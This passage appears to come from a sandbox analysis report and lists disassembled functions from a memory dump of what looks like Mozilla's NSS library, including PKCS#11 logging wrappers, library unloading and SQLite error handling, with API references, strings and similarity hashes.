API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN$nvl
API String ID: 1003633598-921645966
Opcode ID: 8c643f37c48795138967a83f2fb075706d764ebd002dffc4f033cf70639d0dc1
Instruction ID: 54288f16d8b6405a2c04b4dc9760ccf5b39bb468fcb0ce6a0f6260b157164ecb
Opcode Fuzzy Hash: 8c643f37c48795138967a83f2fb075706d764ebd002dffc4f033cf70639d0dc1
Instruction Fuzzy Hash: 7731E275602218ABDB109F55DE4CF8A3BB5EB4635CF084034E809ABB51DB309949CBBE

Function 6C687E00 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6C687E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C687E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C687E63

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C687E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C687E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C687EB1

Strings

pPart = 0x%p, xrefs: 6C687E93
ulPartLen = %d, xrefs: 6C687EAC
C_VerifyUpdate, xrefs: 6C687E21
hSession = 0x%x, xrefs: 6C687E3E, 6C687E4E
nvl, xrefs: 6C687EC9, 6C687EF7
(CK_INVALID_HANDLE), xrefs: 6C687E5C

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate$nvl
API String ID: 1003633598-1814329762
Opcode ID: b195bd6893e7f8c7c8651530fbfc99283caac2752e18f0f5197e2602b27620e9
Instruction ID: 9468a547c1a4c93a8a404c9b46335dd743b5fdc2e74ba880eba108c9a62bcd10
Opcode Fuzzy Hash: b195bd6893e7f8c7c8651530fbfc99283caac2752e18f0f5197e2602b27620e9
Instruction Fuzzy Hash: DE31B274B02118ABDB109F55DE4CF8A3BB1AB46358F084034F909ABA51DB309D09CBBE

Function 6C686EF0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6C686F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C686F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C686F53

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C686F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C686F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C686FA1

Strings

pPart = 0x%p, xrefs: 6C686F83
ulPartLen = %d, xrefs: 6C686F9C
hSession = 0x%x, xrefs: 6C686F2E, 6C686F3E
nvl, xrefs: 6C686FB9, 6C686FE7
C_DigestUpdate, xrefs: 6C686F11
(CK_INVALID_HANDLE), xrefs: 6C686F4C

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate$nvl
API String ID: 1003633598-2481572597
Opcode ID: 92f62b0c1d33039453350fe174feaafaf8966d4d4f12565d812765df1d333df0
Instruction ID: d35bc0d0a244ac99e0fa54c0c7c61c7918020506b830ad2bbd48e3b9cb85113c
Opcode Fuzzy Hash: 92f62b0c1d33039453350fe174feaafaf8966d4d4f12565d812765df1d333df0
Instruction Fuzzy Hash: AB31C475612158AFDB009F15DE4CF8A3BB2AB4235DF084035E909ABA51DB30D948CBBE

Function 6C687F30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyFinal), ref: 6C687F56
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C687F84
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C687F93

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C687FA9
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C687FC8
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C687FE1

Strings

ulSignatureLen = %d, xrefs: 6C687FDC
pSignature = 0x%p, xrefs: 6C687FC3
hSession = 0x%x, xrefs: 6C687F6E, 6C687F7E
nvl, xrefs: 6C687FF9, 6C688027
C_VerifyFinal, xrefs: 6C687F51
(CK_INVALID_HANDLE), xrefs: 6C687F8C

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pSignature = 0x%p$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_VerifyFinal$nvl
API String ID: 1003633598-406126234
Opcode ID: 4e30c1d501b75f8fb71495ec16c4fa605a74a30091850ab974a99ae56588d62c
Instruction ID: 97c9f819b8b64d4b49fde6f5ca08714c7d8272612ea73c80dc2f133d6e59f10e
Opcode Fuzzy Hash: 4e30c1d501b75f8fb71495ec16c4fa605a74a30091850ab974a99ae56588d62c
Instruction Fuzzy Hash: 6631B271702158ABDB109F56DE4CF8A3BB1AB46359F044035F809ABA11DB30A948CBBE

Function 6C64AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C64AF47

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

FreeLibrary.KERNEL32(?), ref: 6C64AF6D
free.MOZGLUE(?), ref: 6C64AFA4
free.MOZGLUE(?), ref: 6C64AFAA
PR_ExitMonitor.NSS3 ref: 6C64AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C64AFF5
PR_ExitMonitor.NSS3 ref: 6C64B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C64B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C64B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C64B03C

Strings

%s decr => %d, xrefs: 6C64AFF0
Unloaded library %s, xrefs: 6C64B023

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 85e0e32acd37585fb4923a3489073608a21f022ec7ee8fb132514757a798e274
Instruction ID: 4052977f948da2556666b9c4f95db5b8d006a66feda73761434380debadff623
Opcode Fuzzy Hash: 85e0e32acd37585fb4923a3489073608a21f022ec7ee8fb132514757a798e274
Instruction Fuzzy Hash: 473103B4A04101BBEB009F61DC48E5AB775EB4670DB18C135EC0687A41F722E824C7AD

Function 6C696C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C69781D,00000000,6C68BE2C,?,6C696B1D,?,?,?,?,00000000,00000000,6C69781D), ref: 6C696C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C69781D,?,6C68BE2C,?), ref: 6C696C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C69781D), ref: 6C696C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C696C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C696C96

Part of subcall function 6C641240: TlsGetValue.KERNEL32(00000040,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641267
Part of subcall function 6C641240: EnterCriticalSection.KERNEL32(?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C64127C
Part of subcall function 6C641240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641291
Part of subcall function 6C641240: PR_Unlock.NSS3(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C6412A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C696CAA

Strings

NSS_DEFAULT_DB_TYPE, xrefs: 6C696C91
rdb:, xrefs: 6C696C69
dbm, xrefs: 6C696CA4
dbm:, xrefs: 6C696C3A
extern:, xrefs: 6C696C7E
sql:, xrefs: 6C696C52

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: c196fb9460011e818bc2b35c1378a8d3b495fdd042ff49280a1e2b73dd4b63e2
Instruction ID: 0fe2c62c29fcbf0ef25a135404f7e84b729a72df7edb3cf82263d452de9dfbd1
Opcode Fuzzy Hash: c196fb9460011e818bc2b35c1378a8d3b495fdd042ff49280a1e2b73dd4b63e2
Instruction Fuzzy Hash: D301A2A170630277FA4027BA7E4AF66355C9F41259F144531FE04E0981EB92E61480E9

Function 6C6A4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C6678F8), ref: 6C6A4E6D

Part of subcall function 6C6409E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C6406A2,00000000,?), ref: 6C6409F8
Part of subcall function 6C6409E0: malloc.MOZGLUE(0000001F), ref: 6C640A18
Part of subcall function 6C6409E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C640A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C6678F8), ref: 6C6A4ED9

Part of subcall function 6C695920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C697703,?,00000000,00000000), ref: 6C695942
Part of subcall function 6C695920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C697703), ref: 6C695954
Part of subcall function 6C695920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C69596A
Part of subcall function 6C695920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C695984
Part of subcall function 6C695920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C695999
Part of subcall function 6C695920: free.MOZGLUE(00000000), ref: 6C6959BA
Part of subcall function 6C695920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C6959D3
Part of subcall function 6C695920: free.MOZGLUE(00000000), ref: 6C6959F5
Part of subcall function 6C695920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C695A0A
Part of subcall function 6C695920: free.MOZGLUE(00000000), ref: 6C695A2E
Part of subcall function 6C695920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C695A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4EB3

Part of subcall function 6C6A4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C6A4EB8,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A484C
Part of subcall function 6C6A4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C6A4EB8,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A486D
Part of subcall function 6C6A4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C6A4EB8,?), ref: 6C6A4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4EC0

Part of subcall function 6C6A4470: TlsGetValue.KERNEL32(00000000,?,6C667296,00000000), ref: 6C6A4487
Part of subcall function 6C6A4470: EnterCriticalSection.KERNEL32(?,?,?,6C667296,00000000), ref: 6C6A44A0
Part of subcall function 6C6A4470: PR_Unlock.NSS3(?,?,?,?,6C667296,00000000), ref: 6C6A44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F8F
PK11_UpdateSlotAttribute.NSS3(?,6C77DCB0,00000000), ref: 6C6A4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C6A501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A506B

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 306bf7aacf141ee09f79a1ecf42902009a74b359ca8103d0047559dbe89b2749
Instruction ID: 92bd4522a208fcd338fb28edf80d380f17c0a449611768c9f1f27572a16d81e7
Opcode Fuzzy Hash: 306bf7aacf141ee09f79a1ecf42902009a74b359ca8103d0047559dbe89b2749
Instruction Fuzzy Hash: 8D5124B1D00602ABEB019FA5EC01AAA76B4FF0635CF144535E80682A11FB71DD56CB9E

Function 6C64ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64ACE2
malloc.MOZGLUE(00000001), ref: 6C64ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C64AD02
TlsGetValue.KERNEL32 ref: 6C64AD3C
calloc.MOZGLUE(00000001,?), ref: 6C64AD8C
PR_Unlock.NSS3 ref: 6C64ADC0
free.MOZGLUE(00000000), ref: 6C64AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C64AE58
free.MOZGLUE(00000000), ref: 6C64AE69
free.MOZGLUE(?), ref: 6C64AE78
PR_Unlock.NSS3 ref: 6C64AE8C
free.MOZGLUE(?), ref: 6C64AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C64AEC7

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 84f6e60270b873b5bf19e335ede44e8364a518f43c777defb0ce42703ea2c3ad
Instruction ID: 6106790eaf8e23609cd09d723854ff11c9532eb50bce59898821e2ab9ce1c20f
Opcode Fuzzy Hash: 84f6e60270b873b5bf19e335ede44e8364a518f43c777defb0ce42703ea2c3ad
Instruction Fuzzy Hash: 0051CEB1E01216ABDF00DFA8DC45AAE77B4BB06349F14C135D814A7B12E731A915CBEE

Function 6C724C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C724CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C724CFD
sqlite3_value_text16.NSS3(?), ref: 6C724D44

Strings

no more rows available, xrefs: 6C724D2E
invalid, xrefs: 6C724CF1
out of memory, xrefs: 6C724C78, 6C724C9E
unknown error, xrefs: 6C724D56
another row available, xrefs: 6C724D20
bad parameter or other API misuse, xrefs: 6C724D05
abort due to ROLLBACK, xrefs: 6C724D27, 6C724D33
API call with %s database connection pointer, xrefs: 6C724CF6

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 3507746ccf8fa93d6c10d310b67e49ebcf88de9919d69bc53533051726c1ce75
Instruction ID: d20f984e5d4986f1caa022d4c81b56f581435f2f232f62a3877840c1ca14a411
Opcode Fuzzy Hash: 3507746ccf8fa93d6c10d310b67e49ebcf88de9919d69bc53533051726c1ce75
Instruction Fuzzy Hash: A531CB73E08811A7D7084A2CAB127A57721B783318F150535C9244BF55C7BCAC91B7E6

Function 6C682CD0 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C682CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C682D07

Part of subcall function 6C7609D0: PR_Now.NSS3 ref: 6C760A22
Part of subcall function 6C7609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C760A35
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C760A66
Part of subcall function 6C7609D0: PR_GetCurrentThread.NSS3 ref: 6C760A70
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C760A9D
Part of subcall function 6C7609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C760AC8
Part of subcall function 6C7609D0: PR_vsmprintf.NSS3(?,?), ref: 6C760AE8
Part of subcall function 6C7609D0: EnterCriticalSection.KERNEL32(?), ref: 6C760B19
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C760B48
Part of subcall function 6C7609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C760C76
Part of subcall function 6C7609D0: PR_LogFlush.NSS3 ref: 6C760C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C682D22

Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(?), ref: 6C760B88
Part of subcall function 6C7609D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C760C5D
Part of subcall function 6C7609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C760C8D
Part of subcall function 6C7609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C760C9C
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(?), ref: 6C760CD1
Part of subcall function 6C7609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C760CEC
Part of subcall function 6C7609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C760CFB
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C760D16
Part of subcall function 6C7609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C760D26
Part of subcall function 6C7609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C760D35
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C760D65
Part of subcall function 6C7609D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C760D70
Part of subcall function 6C7609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C760D90
Part of subcall function 6C7609D0: free.MOZGLUE(00000000), ref: 6C760D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C682D3B

Part of subcall function 6C7609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C760BAB
Part of subcall function 6C7609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C760BBA
Part of subcall function 6C7609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C760D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C682D54

Part of subcall function 6C7609D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C760BCB
Part of subcall function 6C7609D0: EnterCriticalSection.KERNEL32(?), ref: 6C760BDE
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(?), ref: 6C760C16

Strings

pPin = 0x%p, xrefs: 6C682D1D
nvl, xrefs: 6C682D6C, 6C682D9A
C_InitToken, xrefs: 6C682CE7
pLabel = 0x%p, xrefs: 6C682D4F
slotID = 0x%x, xrefs: 6C682D02
ulPinLen = %d, xrefs: 6C682D36

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken$nvl
API String ID: 420000887-506700037
Opcode ID: ef7b5359429b0a0586b3b60ace916b72e40df43bf4c13400fdcbc6675a6f3562
Instruction ID: 955d1e8f7988c384628d13504675b998b6af728c9adcb911813f16929084d8b2
Opcode Fuzzy Hash: ef7b5359429b0a0586b3b60ace916b72e40df43bf4c13400fdcbc6675a6f3562
Instruction Fuzzy Hash: 7B218675202148AFDB009F54DE8CE453FF6EB4235DF448034E90897A62DB309959CB7E

Function 6C722D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

